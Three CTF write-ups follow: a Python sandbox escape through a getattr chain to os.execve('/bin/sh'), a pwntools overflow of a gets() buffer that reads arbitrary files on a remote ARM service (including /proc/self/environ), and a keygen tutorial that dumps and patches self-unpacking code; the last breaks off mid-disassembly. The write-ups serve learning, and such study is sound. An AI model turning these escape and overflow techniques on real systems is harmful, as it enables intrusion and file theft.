Escaping a python jail.

Write up for insHACK hell_of_a_jail challenge.

   ###############################################################
  #  Challenge
 #  desc:          [ hell_of_a_jail - PWN 150 ]
#
#       A guy from FBI found about your Ruby programming activities
#       and has put you inside a python Jail ! Find your way out !
#
 ##################################################################
#:'
#  Profided is a ssh key, server address and port to connect to.
#       -p2222  user@hell-of-a-jail.ctf.insecurity-insa.fr
#
#  After loggin into te server i got a nice welcome message
#                     and a python shell.
#  But not just any shell a shell that would trim off all
#  input longer than 14 chacters, with only 3 functions to use and
#  remove all dots and double lower dashes and would spam your sceen
#  with a thousend times the phrase "TROLLED !!!!" if a double quote
#     occured in the input.
#   _________________________________________________________________
#  |To make matters evern worse the challenge was in python3.        |
#  |Who would spam my screen with messages like,                     |
#  |Missing parentheses in call to 'print'. Did you mean print("A")? |
# ,+----------------------------------------------------------------=+
 ###################################################################
#
#  To check what fucntions i wase allowed to use out of the box.
#  I ran this on my local machine copied the output to the server
#         +---------------------------------+
#         | >>> for x in dir(__builtins__): |
#         | ...     print('%s()'%x)         |
#         +---------------------------------+
#  Then I scrolled trough the error messages to check what fuctions
#  were still alive and avalible.
#  Turns out the only build-in functions I got to play with were:
#
#          print(),     exit()    getattr()
#
#  the last one I've had never used before but we became good friends
#                                          during this challenge.
######################################
#       [ CUTE NAMED FUNCIONS ]       #
#                                     #
G=getattr       # G (fun)  getattr    #  Because of de 15 chacter
P=print         # P (fun)  print      #  I decided to rename them
E=exit          # E (fun)  exit       #  to something shorter.
#                                     #  as I also had to do with
#######################################  most of the stings.
#              SOME USEFULL STRINGS   #
u='_'+'_'       # u (str)  __         #    While trying to explore the
c=u+'class'+u   # c (str)  __class__  #  possiabilities (or lack here of)
cc=u+'call'+u   #cc (str)  __call__   #  I realized soon enough that
cd=u+'code'+u   #cd (str)  __code__   #  the time out on the sever was
d=u+'dir'+u     # d (str)  __dir__    #   annoyingly short, it
dd=u+'doc'+u    #dd (str)  __doc__    #   also did't auto complete
b=u+'bases'+u   # b (str)  __bases__  #   on tab and was printing
s=u+'subclas'\  # s (str)  __subclasses__   esc codes instead of moving
 'ses'+u                              #   my cursur back.
ss='self'       #ss (str)  self       #   I quickly moved to worinking
h='/bin/sh'     #h  (str)  /bin/sh    #   in this script instead.
f='./flag.txt'  # f (str)  ./flag.txt #
ff=u+'file'+u   #ff (srt)  __file__   #   this would also allow me to
fg=u+'flags'+u  #fg (str)  __flags__  #   neatly organize my collection
o='open'        # o (str)  open       #     of usefull strings.
r='read'        # r (str)  read       #      'n other things.
e='execve'      # e (str)  execve     #   my initinal tought was to
m=u+'mro'+u     # m (str)  __mro__    #  create something simulair to:
n=u+'name'+u    # n (str)  __name__   #  ().__class__.__bases__[0].__subclasses__()[40]("./key").read()
a='append'      # a (str)  append     #  wich I've seen and even used
g=u+'globals'\  # g (str)   __globals__  before. but i never fully
 ''+u                                 #  understood what was going on
l=u+'locals'+u  # l (str)  __locals__ #  after a lot of time READING
v='co_varnam'\  # v (str)  co_varnames#    python documentation.
 'es'                                 #  I realized the fucntions
en='environ'    #en (str)  environ    #  that i wanted to use were.
#------------------------------------ #  removed from __subclasses__
#  I spend a lot of time browsing around this python class space
#  reading writeups and documentation trying to figure out how to
#  defeat this beast. I READ about how to use getattr to access atribute
#  form objects, I READ even more about this strange object oriented
#  world named python and exlporing with __mro__ __subclasses__ and __dir__
#  But what I should have READ a little bit better was .
#  !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!!
#  There was a big BIG big hint in there pointing towards the exit()
#  It was only when I was rearanging my terminal windows, and closing
#  the billion python documentation tabs in my browser. when I
#  accsendently opened the ssh connection and wanted to close it with
#  CTRL+D, but that din't work because quit() wasn't there so I typed
#  exit() and I got promted with a error telling me that exit() requires 1
#  argument... And then my eye caught the Welcome message.
#  +------------------------------------------------------+
#  [Oh my jail ! You need to exit() with the correct key. ]
#  [It might make you free (and give you the flag)        ]
#  +------------------------------------------------------+
#  After I saw this I know I was looking in the wrong places.
#  and I focused my attention to the object named quit.
#  Whom was holding a lot of goodies like __globals__
#  With a os object.
#
#  So I Quickly build a OBJchain.(Tm) and ran to the nearist exit.
#  (what for me was '/bin/sh' I had everything already prepaired
#  and ready to open a file or pop a shell.)
#
###########################################################
#             [VERY USEFULL THINGEMAGADGETS]
C=G(E,c)       # C (Obj)  exit.__class__
B=G(C,b)       # B (Obj)  exit.__class__.__bases__
D=G(C,d)       # D (Fun)  exit.__class__.__dir__
S=G(B[0],s)    # S (Obj)  exit.__class__.__bases__[0].__subclasses__
M=G(C,m)       # M (Obj)  exit.__class__.__mro__
X=G(E,g)       # X (Dic)  exit.__globals__
O=X['os']      # O (Obj)  exit.__globals__[os]
Y=G(O,en)      # Y (Dic)  exit.__globals__[os].environ
F=G(O,e)       # F (Obj)  exit.__globals__[os].execve
F(h,[h],Y)     #          exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ)
#
########################################################
#
#  So after popping the shell I was a bit confused about the
#  absence of the flag.txt I was craving for for all these hours.
#  The only thing besides me in the path I ended up in was jail.pyc
#  but I rememberd the welcome message said something about keys and exits.
#  so I check it for strings. hoping it would hold a flag.
#  wich it din't. So I wrapped it in some base64 and copied it to my local
#  machine to decompile.
#
#  +----------------------------------------------------------------------+
#  |def exit(arg):                                                        |
#  |    """Must invoke with the right arg in order to get the flag."""    |
#  |    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:         |
#  |        print('Oh no ! You managed to escape\nValidate with the key') |
#  |       return sys.exit(0)                                             |
#  |   print('Wrong key')                                                 |
#  +----------------------------------------------------------------------+
#                                                                         #
#  So yeah.. . . The flag was hiding in environment variables
#  INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} #
#   I had a lot of fun and learned a lot during this challenge.         #
 #    Shout out tO My team Mates.                                    #
  #                                  -xXx-    TNX FOR READING...  #
   #
     #####M42D##################'''''''''''''''''''''''''''''''

ARM reverse enginering.

Write up for Volga ctf warm challenge.

Given was a stripped ARM elf binary, a server address and port to connect to.
This was my first time reverse engineering something written for a ARM architecture. I knew that hopper and ghidra can handle arm binaries, but I had to read up a bit on how to set up a testing environment for debugging.

I ended up using Ghidra to reverse engineer, Qemu as emulator and gdb-multiarch to debug.

the Reverse engineering.

I load the file up in ghidra and browse though the dissassembled code.
while renaming functions and variables.

Main()

undefined4 mainthing(void)

{
  int iVar1;
  int __c;
  FILE *__stream;
  byte given_passwd [100]; 
  char filename [100];
  
  iVar1 = __stack_chk_guard;
  setvbuf(stdout,(char *)0x0,2,0);
  while( true ) {
    while( true ) {
      flag_filename_on_stack(filename);
      puts("Hi there! I\'ve been waiting for your password!");
      gets((char *)given_passwd);
      __c = passwordcheck(given_passwd);
      if (__c == 0) break;
      error_handle_thing(1,0);
    }
    __stream = fopen(filename,"rb");
    if (__stream != (FILE *)0x0) break;
    error_handle_thing(2,filename);
  }
  while (__c = _IO_getc((_IO_FILE *)__stream), __c != -1) {
    putchar(__c);
  }
  fclose(__stream);
  if (iVar1 == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

The buffer for the given_passwd is 100bytes and the input is fetched using gets instead of fgets on stdin in witch you can set the amount of bytes you want to read. Resulting in a classic overflow vulnerability. But there is a stack canary set and checked and we will overwrite this if we try to overflow into a return pointer. So lets look a little further down the road.

The password gets passed to passwordcheck() and if it returns anything other than 0 will break out of the loop and calls the error_handle_thing() function with 1,0 as arguments.

if the passwordcheck returns 0 it will try to open the file filename, if it can’t be opened error_handle_thing() gets called with 2 and filename as arguments.
otherwise it will write it’s contents to stdout.

passwordcheck()

undefined4 passwordcheck(byte *passw)

{
  size_t sVar1;
  undefined4 uVar2;
  
  sVar1 = strlen((char *)passw);
  if (sVar1 < 0x10) {
    uVar2 = 1;
  }
  else {
    if (((((*passw == 0x76) && ((passw[1] ^ *passw) == 0x4e)) && ((passw[2] ^ passw[1]) == 0x1e)) &&
        ((((passw[3] ^ passw[2]) == 0x15 && ((passw[4] ^ passw[3]) == 0x5e)) &&
         (((passw[5] ^ passw[4]) == 0x1c &&
          (((passw[6] ^ passw[5]) == 0x21 && ((passw[7] ^ passw[6]) == 1)))))))) &&
       (((passw[8] ^ passw[7]) == 0x34 &&
        ((((((passw[9] ^ passw[8]) == 7 && ((passw[10] ^ passw[9]) == 0x35)) &&
           ((passw[0xb] ^ passw[10]) == 0x11)) &&
          (((passw[0xc] ^ passw[0xb]) == 0x37 && ((passw[0xd] ^ passw[0xc]) == 0x3c)))) &&
         (((passw[0xe] ^ passw[0xd]) == 0x72 && ((passw[0xf] ^ passw[0xe]) == 0x47)))))))) {
      uVar2 = 0;
    }
    else {
      uVar2 = 2;
    }
  }
  return uVar2;
}

This function has one argument (the password) and 3 return values.
if the the argument is smaller than 0x10 it will return 1,
if the password matches all these xor conditions it will return 0
and if not it will return 2.

So lets have a good look at all these conditions the password have to meet.
the first byte has to be 0x76 (‘v’ in ascii)
the second byte gets xored with the first one and has to be equal to 0x4e
the 3th gets xored with the second and has to equal 0x1e.
and so on and so on..
all characters get xored with the previous one and gets checked with a static value.

A^B = C we have C and xor is reverseable like so A^C = B
We know that the first character value is 0x76.
so let’s make a little script to recover the password.

A = 0x76
C_list = [0x4e, 0x1e, 0x15, 0x5e, 0x1c, 0x21, 0x01, 0x34, 0x07, 0x35, 0x11, 0x37, 0x3c, 0x72, 0x47]

password=chr(A)

for C in C_list:
    B = A^C
    A = B
    password = password+chr(A)

print(password)

if we run the script we get the password v8&3mqPQebWFqM?x
note that the function only checks if the length is not smaller than 0x10.
So, as long and only the fist 16 charters gets checked.
If we append our recovered password with some more bytes the passwordcheck() function will still return 0.

flag_filename_on_stack()

void flag_filename_on_stack(char *pcParm1)

{
  char *envionflag;
  undefined4 flag;
  undefined local_24;
  undefined4 FLAG;
  undefined4 _FIL;
  undefined2 E;
  int local_14;
  
  local_14 = __stack_chk_guard;
  FLAG = 0x47414c46;
  _FIL = 0x4c49465f;
  E = 0x45;
  envionflag = getenv((char *)&FLAG);
  flag = 0x67616c66;
  local_24 = 0;
  if (envionflag == (char *)0x0) {
    strcpy(pcParm1,(char *)&flag);
  }
  else {
    strcpy(pcParm1,envionflag);
  }
  if (local_14 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

What happens here is that if the environment value FLAG is set it will get that and place it on the memory address given as argument.
and if the environment value FLAG is not there it will place ‘flag’ on that memory address.

conclusion:

There is a buffer overflow in passwd but, It looks like everything is set up to print the flag if the right password is provided.

Dissapointment.

Having recovered the password I connect to the server using nc and send the password hoping to receive a flag.

No such luck.
It accepted my recovered password but returned the string:

Seek file with something more sacred!

nc warm.q.2019.volgactf.ru 443

Exploitation

We can not overwrite a return pointer without overwriting the stack canary and making the stack check fail.
but if we look at the placement of filename and passwd buffers. we see that filename is placed right after passwd on the stack.

             char[100]         Stack[-0x78]   filename
             byte[100]         Stack[-0xdc]   given_passwd

If we would overflow passwd we can write into the filename that gets printed further down the main fucntion.

Lets do that and make a little script to help us.

#!/usr/bin/python
# -*- coding: utf-8 -*-
#-------------------------------------------------------------------------------
# CONFIG.
from pwn import *
context.log_level = 'info'
target = "warm.q.2019.volgactf.ru"
port = 443
timeout=5
password = "v8&3mqPQebWFqM?x"
buffer= "A"*(100-len(password))
#-------------------------------------------------------------------------------
# Xploit
io = remote(target,port)
while 1:
    try:
        log.info(io.recvuntil("password!",timeout=timeout))
        filename = raw_input("filename or quit:")
        if filename == "quit":
            break
        io.sendline(password+buffer+filename)
    except:
        log.warning("connection dropped")
        io.close()
        io = remote(target,port)
#----------------------------------------------------------------------

Frustration.

The exploit works like a charm.
The only problem is that without being able to use wildcards or get a directory listing, there is a lot of guess work involved.

The first thing I did was check for a flag file. It was there, it contained the string that was printed when we just provide the password without overflowing.

Then I checked en environmet values by taking a look at /proc/self/environ I though maybe they hide a clue there since the flag_filename_on_stack() checks if the value FLAG is set in environment.

Also no luck.

After some time trying to find the flag in all sort of places or try to find hints of were the flag might be hiding in places like /home/ubuntu/.bash_history

I decided to pipe a wordlist of linux file paths to stdin of the script en piped the output to a file witch I grep for a flag formatted strings also no results. I grep for base64 endcoded stuff, no luck there as well.

Then I scrolled trough 1000’s of lines of config files and other junk by hand looking for something that could be hiding a flag.

After a lot of frustration I check the code again to see if I’ve missed something. look for a way to leak the stack canary. I can get the base-offset of the bin stack heap and libc by leaking /proc/self/maps
but i could not find a way to get around the stack canary and use the ret to libc method to pop a shell.

At this point sunshineCTF was started, so I left VolgaCTF for what it was.
(no fun and a heaping pile of s….frustration)

This morning I read in a write-up about this challenge that the flag was in the a file named sacred ..  

Seek file with something more sacred!

nc warm.q.2019.volgactf.ru 443

So yeah, there was a hint in the flag file that I did not get,
but I think they are a bunch of@$$#*!€$ !!!!!

Also; Big props to the NSA for releasing Ghidra to the public.
the disassembly is so good, I din’t even had to look at instruction listing much and the arm architecture guide not even once, even though i’m not so familiar with the ARM instruction set.
America 1 – Russia 0

How to make a keygen.

ctfs.me – resqua

In this article I will explain how to unpack a packed/mangled binary and how to make a keygen. Using the ctfs.me resqua challenge as a example.

The binary I’ll be working with is not stripped, so the the symbol table is still intact. But there is an other methode used to make reverse engineering a little more difficult.

They have mangled some parts of the code, if we try to disassemble this we get a bunch of instructions that doesn’t make much sense.

When a program gets executed it’s first gets loaded into memory.
After this happens the executable sectors of the programs get a write protected flag set so the instructions can’t be altered.

In this case however some of the programs executable sectors are mangled.
and before it can get executed has to be de-mangeld first.

For this to happen the write flag has to be set on the memory, so instructions can be altered/ or un-mangled.

So first I will have to find out where this happens and what memory sectors are effected.

Below is a disassembly of the “unlock” function that un-mangles the code in memory.

                                    unlock:
00000000004007dd 55                     push       rbp                          ; Begin of unwind block (FDE at 0x400cfc), CODE XREF=main+20
00000000004007de 4889E5                 mov        rbp, rsp
00000000004007e1 4883EC40               sub        rsp, 0x40
00000000004007e5 B809004000             mov        eax, 0x400009
00000000004007ea 8B00                   mov        eax, dword [rax]
00000000004007ec 8945C8                 mov        dword [rbp+var_38], eax
00000000004007ef B80D004000             mov        eax, 0x40000d
00000000004007f4 0FB700                 movzx      eax, word [rax]
00000000004007f7 98                     cwde
00000000004007f8 8945CC                 mov        dword [rbp+var_34], eax
00000000004007fb C745D003000000         mov        dword [rbp+var_30], 0x3
0000000000400802 48C745D801004000       mov        qword [rbp+var_28], 0x400001
000000000040080a 8B45C8                 mov        eax, dword [rbp+var_38]
000000000040080d 4898                   cdqe
000000000040080f 480500004000           add        rax, 0x400000
0000000000400815 488945E0               mov        qword [rbp+var_20], rax
0000000000400819 8B45C8                 mov        eax, dword [rbp+var_38]
000000000040081c 4863D0                 movsxd     rdx, eax
000000000040081f 8B45CC                 mov        eax, dword [rbp+var_34]
0000000000400822 4898                   cdqe
0000000000400824 4801D0                 add        rax, rdx
0000000000400827 480500004000           add        rax, 0x400000
000000000040082d 488945E8               mov        qword [rbp+var_18], rax
0000000000400831 BF1E000000             mov        edi, 0x1e                    ; argument "__name" for method j_sysconf
0000000000400836 E885FEFFFF             call       j_sysconf                    ; sysconf
000000000040083b 488945F0               mov        qword [rbp+var_10], rax
000000000040083f 488B45F0               mov        rax, qword [rbp+var_10]
0000000000400843 48F7D8                 neg        rax
0000000000400846 4889C2                 mov        rdx, rax
0000000000400849 488B45E0               mov        rax, qword [rbp+var_20]
000000000040084d 4821D0                 and        rax, rdx
0000000000400850 488945F8               mov        qword [rbp+var_8], rax
0000000000400854 488B45E8               mov        rax, qword [rbp+var_18]
0000000000400858 89C2                   mov        edx, eax
000000000040085a 488B45F8               mov        rax, qword [rbp+var_8]
000000000040085e 29C2                   sub        edx, eax
0000000000400860 89D0                   mov        eax, edx
0000000000400862 8945D4                 mov        dword [rbp+var_2C], eax
0000000000400865 8B45D4                 mov        eax, dword [rbp+var_2C]
0000000000400868 4863C8                 movsxd     rcx, eax
000000000040086b 488B45F8               mov        rax, qword [rbp+var_8]
000000000040086f BA07000000             mov        edx, 0x7                     ; argument "__prot" for method j_mprotect
0000000000400874 4889CE                 mov        rsi, rcx                     ; argument "__len" for method j_mprotect
0000000000400877 4889C7                 mov        rdi, rax                     ; argument "__addr" for method j_mprotect
000000000040087a E831FEFFFF             call       j_mprotect                   ; mprotect
000000000040087f C745C400000000         mov        dword [rbp+var_3C], 0x0
0000000000400886 EB3E                   jmp        loc_4008c6

                                    loc_400888:
0000000000400888 8B45C4                 mov        eax, dword [rbp+var_3C]      ; CODE XREF=unlock+239
000000000040088b 4863D0                 movsxd     rdx, eax
000000000040088e 488B45E0               mov        rax, qword [rbp+var_20]
0000000000400892 488D0C02               lea        rcx, qword [rdx+rax]
0000000000400896 8B45C4                 mov        eax, dword [rbp+var_3C]
0000000000400899 4863D0                 movsxd     rdx, eax
000000000040089c 488B45E0               mov        rax, qword [rbp+var_20]
00000000004008a0 4801D0                 add        rax, rdx
00000000004008a3 0FB600                 movzx      eax, byte [rax]
00000000004008a6 89C6                   mov        esi, eax
00000000004008a8 8B45C4                 mov        eax, dword [rbp+var_3C]
00000000004008ab 99                     cdq
00000000004008ac F77DD0                 idiv       dword [rbp+var_30]
00000000004008af 89D0                   mov        eax, edx
00000000004008b1 4863D0                 movsxd     rdx, eax
00000000004008b4 488B45D8               mov        rax, qword [rbp+var_28]
00000000004008b8 4801D0                 add        rax, rdx
00000000004008bb 0FB600                 movzx      eax, byte [rax]
00000000004008be 31F0                   xor        eax, esi
00000000004008c0 8801                   mov        byte [rcx], al
00000000004008c2 8345C401               add        dword [rbp+var_3C], 0x1

                                    loc_4008c6:
00000000004008c6 8B45C4                 mov        eax, dword [rbp+var_3C]      ; CODE XREF=unlock+169
00000000004008c9 3B45CC                 cmp        eax, dword [rbp+var_34]
00000000004008cc 7CBA                   jl         loc_400888

00000000004008ce 8B45D4                 mov        eax, dword [rbp+var_2C]
00000000004008d1 4863C8                 movsxd     rcx, eax
00000000004008d4 488B45F8               mov        rax, qword [rbp+var_8]
00000000004008d8 BA05000000             mov        edx, 0x5                     ; argument "__prot" for method j_mprotect
00000000004008dd 4889CE                 mov        rsi, rcx                     ; argument "__len" for method j_mprotect
00000000004008e0 4889C7                 mov        rdi, rax                     ; argument "__addr" for method j_mprotect
00000000004008e3 E8C8FDFFFF             call       j_mprotect                   ; mprotect
00000000004008e8 C9                     leave
00000000004008e9 C3                     ret

I could dive into this code to see how it is changing what data, but that would be a waste of time since I only need the result of wat its doing and I could just run it and dump it from memory.

Dumping

In the disassembly of the “unlock” function you can see two calls to mprotect.
I set 2 breakpoints:
one right before the first call to mprotect.
and one right after the second call to mprotect.

after hitting the first breakpoint I check check the rax and rcx registers to see what arguments are passed to mprotect.

rax 0x0000000000400000    
rcx 0x0000000000000ba2

rax holds the start address of the affected memory and the second and rcx holds the length.

So I dump the memory in that range.

>>> dump binary memory before.bin 0x400000 0x400ba2 

Now i continue to the second breakpoint and i do the same.

>>> dump binary memory after.bin 0x400000 0x400ba2 

I use bindiff to check if the dumpfiles indeed differ.

$ diff before.bin after.bin 
Binary files before.bin and after.bin differ

Patching

To analyze the code it is help full to be able to run it in a debugger.
to do this with the dumped code, I will now make a patched executable.

The dump starts at offset 0x400000 and since this is the beginning of the file I can just append the data from the original file starting at the offset 0xba2 to the dumpfile.

$ cp after.bin patched
$ dd if=resqua bs=1 skip=2978 of=patched oflag=append conv=notruncd

The mangled part of code is now un-mangled in the binary. So the call to “unlock” has to be overwritten by NOP’s. I do this hopper since I’m going to use it for disassembly anyway.

                                    main:
00000000004008ea 55                     push       rbp                          ; End of unwind block (FDE at 0x400cfc), Begin of unwind block (FDE at 0x400d5c), DATA XREF=_start+29
00000000004008eb 4889E5                 mov        rbp, rsp
00000000004008ee 4883EC10               sub        rsp, 0x10
00000000004008f2 897DFC                 mov        dword [rbp+var_4], edi
00000000004008f5 488975F0               mov        qword [rbp+var_10], rsi
00000000004008f9 B800000000             mov        eax, 0x0
00000000004008fe E8DAFEFFFF             call       unlock                       ; unlock
0000000000400903 B800000000             mov        eax, 0x0
0000000000400908 E8C1000000             call       run                          ; run
000000000040090d B800000000             mov        eax, 0x0
0000000000400912 C9                     leave
0000000000400913 C3                     ret
                                    main:
00000000004008ea 55                     push       rbp                          ; End of unwind block (FDE at 0x400cfc), Begin of unwind block (FDE at 0x400d5c), DATA XREF=_start+29
00000000004008eb 4889E5                 mov        rbp, rsp
00000000004008ee 4883EC10               sub        rsp, 0x10
00000000004008f2 897DFC                 mov        dword [rbp+var_4], edi
00000000004008f5 488975F0               mov        qword [rbp+var_10], rsi
00000000004008f9 B800000000             mov        eax, 0x0
00000000004008fe 0F1F440000             nop        dword [rax+rax]                      ; unlock
0000000000400903 B800000000             mov        eax, 0x0
0000000000400908 E8C1000000             call       run                          ; run
000000000040090d B800000000             mov        eax, 0x0
0000000000400912 C9                     leave
0000000000400913 C3                     ret

analyze the code

lets take a look at the “run” function at 0x4009ce that was mangled before.

00000000004009ce 55                     push       rbp                          ; End of unwind block (FDE at 0x400d1c), Begin of unwind block (FDE at 0x400d3c), CODE XREF=main+30
00000000004009cf 4889E5                 mov        rbp, rsp
00000000004009d2 4883C480               add        rsp, 0xffffffffffffff80
00000000004009d6 64488B042528000000     mov        rax, qword [fs:0x28]
00000000004009df 488945F8               mov        qword [rbp+var_8], rax
00000000004009e3 31C0                   xor        eax, eax
00000000004009e5 BFB80B4000             mov        edi, aEnterAValidSer         ; argument "__format" for method j_printf, "Enter a valid serial number: "
00000000004009ea B800000000             mov        eax, 0x0
00000000004009ef E87CFCFFFF             call       j_printf                     ; printf
00000000004009f4 488D45E0               lea        rax, qword [rbp+var_20]
00000000004009f8 4889C7                 mov        rdi, rax                     ; argument "__str" for method j_gets
00000000004009fb E8A0FCFFFF             call       j_gets                       ; gets
0000000000400a00 488D45E0               lea        rax, qword [rbp+var_20]

the first thing that gets checked after getting user input is the length of the input string. It hast to be 19 charcters long otherwise it wil jump to 0x400a2a and print out “Wrong format!”

0000000000400a00 488D45E0               lea        rax, qword [rbp+var_20]
0000000000400a04 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_strlen
0000000000400a07 E844FCFFFF             call       j_strlen                     ; strlen
0000000000400a0c 4883F813               cmp        rax, 0x13
0000000000400a10 7518                   jne        Wrong input

0000000000400a12 0FB645E4               movzx      eax, byte [rbp+var_1C]
0000000000400a16 3C2D                   cmp        al, 0x2d
0000000000400a18 7510                   jne        Wrong input

0000000000400a1a 0FB645E9               movzx      eax, byte [rbp+var_17]
0000000000400a1e 3C2D                   cmp        al, 0x2d
0000000000400a20 7508                   jne        Wrong input

0000000000400a22 0FB645EE               movzx      eax, byte [rbp+var_12]
0000000000400a26 3C2D                   cmp        al, 0x2d
0000000000400a28 740F                   je         loc_400a39

                                    Wrong input:
0000000000400a2a BFD60B4000             mov        edi, 0x400bd6                ; argument "__s" for method j_puts, CODE XREF=run+66, run+74, run+82
0000000000400a2f E80CFCFFFF             call       j_puts                       ; puts
0000000000400a34 E953010000             jmp        loc_400b8c

Then it will check if the 5th, 10th and 15th byte equals to 0x2d which has the ASCII value of “-” otherwise it will jump to 0x400a0c

Now we know that the serial code has to have the following format.
XXXX-XXXX-XXXX-XXXX

Lets check what happens next.

                                   loc_400a39:
0000000000400a39 C7458C00000000         mov        dword [rbp+var_74], 0x0      ; CODE XREF=run+90
0000000000400a40 EB26                   jmp        loc_400a68

                                    loc_400a42:
0000000000400a42 8B458C                 mov        eax, dword [rbp+var_74]      ; CODE XREF=run+158
0000000000400a45 4898                   cdqe
0000000000400a47 0FB64405E0             movzx      eax, byte [rbp+rax+var_20]
0000000000400a4c 3C30                   cmp        al, 0x30
0000000000400a4e 7514                   jne        loc_400a64

0000000000400a50 BFF00B4000             mov        edi, 0x400bf0                ; argument "__s" for method j_puts
0000000000400a55 E8E6FBFFFF             call       j_puts                       ; puts
0000000000400a5a BF01000000             mov        edi, 0x1                     ; argument "__status" for method j_exit
0000000000400a5f E87CFCFFFF             call       j_exit                       ; exit
                        ; endp

                                    loc_400a64:
0000000000400a64 83458C01               add        dword [rbp+var_74], 0x1      ; CODE XREF=run+128

                                    loc_400a68:
0000000000400a68 837D8C13               cmp        dword [rbp+var_74], 0x13     ; CODE XREF=run+114
0000000000400a6c 7ED4                   jle        loc_400a42

Here it will cycle trough the provided serial number and prints “Invalide serial number!” if any of the bytes equals 0x30 (or ASCII “0”)

now we have learned a little more about the requirements of a valid serial code.

0000000000400a6e 488D4DE0               lea        rcx, qword [rbp+var_20]
0000000000400a72 488D45A0               lea        rax, qword [rbp+var_60]
0000000000400a76 BA04000000             mov        edx, 0x4                     ; argument "__n" for method j_strncpy
0000000000400a7b 4889CE                 mov        rsi, rcx                     ; argument "__src" for method j_strncpy
0000000000400a7e 4889C7                 mov        rdi, rax                     ; argument "__dest" for method j_strncpy
0000000000400a81 E8AAFBFFFF             call       j_strncpy                    ; strncpy
0000000000400a86 C645A400               mov        byte [rbp+var_5C], 0x0
0000000000400a8a 488D45E0               lea        rax, qword [rbp+var_20]
0000000000400a8e 488D4805               lea        rcx, qword [rax+5]
0000000000400a92 488D45B0               lea        rax, qword [rbp+var_50]
0000000000400a96 BA04000000             mov        edx, 0x4                     ; argument "__n" for method j_strncpy
0000000000400a9b 4889CE                 mov        rsi, rcx                     ; argument "__src" for method j_strncpy
0000000000400a9e 4889C7                 mov        rdi, rax                     ; argument "__dest" for method j_strncpy
0000000000400aa1 E88AFBFFFF             call       j_strncpy                    ; strncpy
0000000000400aa6 C645B400               mov        byte [rbp+var_4C], 0x0
0000000000400aaa 488D45E0               lea        rax, qword [rbp+var_20]
0000000000400aae 488D480A               lea        rcx, qword [rax+0xa]
0000000000400ab2 488D45C0               lea        rax, qword [rbp+var_40]
0000000000400ab6 BA04000000             mov        edx, 0x4                     ; argument "__n" for method j_strncpy
0000000000400abb 4889CE                 mov        rsi, rcx                     ; argument "__src" for method j_strncpy
0000000000400abe 4889C7                 mov        rdi, rax                     ; argument "__dest" for method j_strncpy
0000000000400ac1 E86AFBFFFF             call       j_strncpy                    ; strncpy
0000000000400ac6 C645C400               mov        byte [rbp+var_3C], 0x0
0000000000400aca 488D45E0               lea        rax, qword [rbp+var_20]
0000000000400ace 488D480F               lea        rcx, qword [rax+0xf]
0000000000400ad2 488D45D0               lea        rax, qword [rbp+var_30]
0000000000400ad6 BA04000000             mov        edx, 0x4                     ; argument "__n" for method j_strncpy
0000000000400adb 4889CE                 mov        rsi, rcx                     ; argument "__src" for method j_strncpy
0000000000400ade 4889C7                 mov        rdi, rax                     ; argument "__dest" for method j_strncpy
0000000000400ae1 E84AFBFFFF             call       j_strncpy                    ; strncpy
0000000000400ae6 C645D400               mov        byte [rbp+var_2C], 0x0
0000000000400aea 488D45A0               lea        rax, qword [rbp+var_60]
0000000000400aee 4889C7                 mov        rdi, rax                     ; argument "__nptr" for method j_atoi
0000000000400af1 E8DAFBFFFF             call       j_atoi                       ; atoi
0000000000400af6 894590                 mov        dword [rbp+var_70], eax
0000000000400af9 488D45B0               lea        rax, qword [rbp+var_50]
0000000000400afd 4889C7                 mov        rdi, rax                     ; argument "__nptr" for method j_atoi
0000000000400b00 E8CBFBFFFF             call       j_atoi                       ; atoi
0000000000400b05 894594                 mov        dword [rbp+var_6C], eax
0000000000400b08 488D45C0               lea        rax, qword [rbp+var_40]
0000000000400b0c 4889C7                 mov        rdi, rax                     ; argument "__nptr" for method j_atoi
0000000000400b0f E8BCFBFFFF             call       j_atoi                       ; atoi
0000000000400b14 894598                 mov        dword [rbp+var_68], eax
0000000000400b17 488D45D0               lea        rax, qword [rbp+var_30]
0000000000400b1b 4889C7                 mov        rdi, rax                     ; argument "__nptr" for method j_atoi
0000000000400b1e E8ADFBFFFF             call       j_atoi                       ; atoi
0000000000400b23 89459C                 mov        dword [rbp+var_64], eax

Over here the chunks* of the serial number gets copied to their own parts in memory using strncopy(). Shown as var_60, var_50, var_40 and var_30 in hoppers disassembly
*(by chunks I mean the parts before, after and in between the ‘-‘ of the serial number)

changes these chucks of serial into integers using atoi(). and stores the results to other parts of memory. Shown as var_70, var_6c, var_68 and var_64.

0000000000400b26 8B4590                 mov        eax, dword [rbp+var_70]
0000000000400b29 89C7                   mov        edi, eax                     ; argument #1 for method c
0000000000400b2b E862FEFFFF             call       c                            ; c
0000000000400b30 85C0                   test       eax, eax
0000000000400b32 744E                   je         loc_400b82

0000000000400b34 8B4594                 mov        eax, dword [rbp+var_6C]
0000000000400b37 89C7                   mov        edi, eax                     ; argument #1 for method c
0000000000400b39 E854FEFFFF             call       c                            ; c
0000000000400b3e 85C0                   test       eax, eax
0000000000400b40 7440                   je         loc_400b82

0000000000400b42 8B4598                 mov        eax, dword [rbp+var_68]
0000000000400b45 89C7                   mov        edi, eax                     ; argument #1 for method c
0000000000400b47 E846FEFFFF             call       c                            ; c
0000000000400b4c 85C0                   test       eax, eax
0000000000400b4e 7432                   je         loc_400b82

0000000000400b50 8B459C                 mov        eax, dword [rbp+var_64]
0000000000400b53 89C7                   mov        edi, eax                     ; argument #1 for method c
0000000000400b55 E838FEFFFF             call       c                            ; c
0000000000400b5a 85C0                   test       eax, eax
0000000000400b5c 7424                   je         loc_400b82

0000000000400b5e 8B4590                 mov        eax, dword [rbp+var_70]
0000000000400b61 3B4594                 cmp        eax, dword [rbp+var_6C]
0000000000400b64 7D1C                   jge        loc_400b82

0000000000400b66 8B4594                 mov        eax, dword [rbp+var_6C]
0000000000400b69 3B4598                 cmp        eax, dword [rbp+var_68]
0000000000400b6c 7D14                   jge        loc_400b82

0000000000400b6e 8B4598                 mov        eax, dword [rbp+var_68]
